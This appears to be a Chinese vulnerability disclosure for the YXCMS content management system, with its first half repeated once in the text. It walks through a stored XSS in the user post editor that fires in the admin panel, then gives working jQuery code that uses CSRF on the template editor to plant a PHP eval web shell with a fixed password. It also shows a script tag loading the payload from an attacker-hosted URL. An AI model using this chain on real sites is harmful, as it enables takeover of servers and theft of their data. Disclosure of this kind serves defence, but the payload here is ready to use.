### 简要描述: xss到后台导致getshell一条龙服务~不过略鸡肋。 ### 详细说明: YXCMS是一款面向企业的内容管理系统,采用三级缓存,MVC架构以BSD协议开源。 注册了用户以后来到用户管理页面,点击信息发布 - 增加咨询,发现是一个富文本编辑器,kindeditor。不管是什么编辑器,既然给了一个用户这么大的权限,这种情况下很容易出现xss。 随便输入点什么东西,抓包,修改content字段内容,写你的xss代码,什么都行。 [<img src="https://images.seebug.org/upload/201401/03204918675144fc7dab552f0a22d154d46e3059.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/03204918675144fc7dab552f0a22d154d46e3059.jpg) 好了。管理员在后台就能看到我提交的文章: [<img src="https://images.seebug.org/upload/201401/03204942d0838196cd717e2ee59455c9b3f2a221.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/03204942d0838196cd717e2ee59455c9b3f2a221.jpg) 然后编辑的话就能触发xss: [<img src="https://images.seebug.org/upload/201401/03204959e7da6c65f843106c0d3497193ac98613.jpg" alt="03.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/03204959e7da6c65f843106c0d3497193ac98613.jpg)...
### 简要描述: xss到后台导致getshell一条龙服务~不过略鸡肋。 ### 详细说明: YXCMS是一款面向企业的内容管理系统,采用三级缓存,MVC架构以BSD协议开源。 注册了用户以后来到用户管理页面,点击信息发布 - 增加咨询,发现是一个富文本编辑器,kindeditor。不管是什么编辑器,既然给了一个用户这么大的权限,这种情况下很容易出现xss。 随便输入点什么东西,抓包,修改content字段内容,写你的xss代码,什么都行。 [<img src="https://images.seebug.org/upload/201401/03204918675144fc7dab552f0a22d154d46e3059.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/03204918675144fc7dab552f0a22d154d46e3059.jpg) 好了。管理员在后台就能看到我提交的文章: [<img src="https://images.seebug.org/upload/201401/03204942d0838196cd717e2ee59455c9b3f2a221.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/03204942d0838196cd717e2ee59455c9b3f2a221.jpg) 然后编辑的话就能触发xss: [<img src="https://images.seebug.org/upload/201401/03204959e7da6c65f843106c0d3497193ac98613.jpg" alt="03.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/03204959e7da6c65f843106c0d3497193ac98613.jpg) 再利用后台的代码编辑功能我就能直接getshell了,先构造一个javascript,因为这个站是用Jquery写的前端,所以我们的xss代码也能直接用Jquery完成: ``` $(document).ready(function(){ var code = "<?php eval($_POST[f4ckkk]); ?><?php return array ( 'name' => '最新默认模板2013-2-1', 'author' => 'yx',); ?> "; $.post("/tmp/index.php?r=admin/set/tpedit&Mname=default&fname=info.php", { "code": code },function(data){}); }); ``` 一个简单的post提交,因为没有验证token,所以也算一个CSRF。将以上代码保存为http://xxxxx/xx.js,然后作为xss代码就行了:</textarea><script src=”http://xxxx/xx.js”></script> 执行以后就会修改模板,加入我们的一句话。地址就是:/protected/apps/default/view/default/info.php 密码:f4ckkk [<img src="https://images.seebug.org/upload/201401/032051018f60103c4582ccedc13ebe69a4c96774.jpg" alt="05.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/032051018f60103c4582ccedc13ebe69a4c96774.jpg) 我们来到这个文件,可以看到我刚才post过去的内容已经完完整整地躺在那里了: [<img src="https://images.seebug.org/upload/201401/03205124aa0484098a2b93e6d50263fe47ad8b6c.jpg" alt="04.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201401/03205124aa0484098a2b93e6d50263fe47ad8b6c.jpg) ### 漏洞证明: 见详细说明。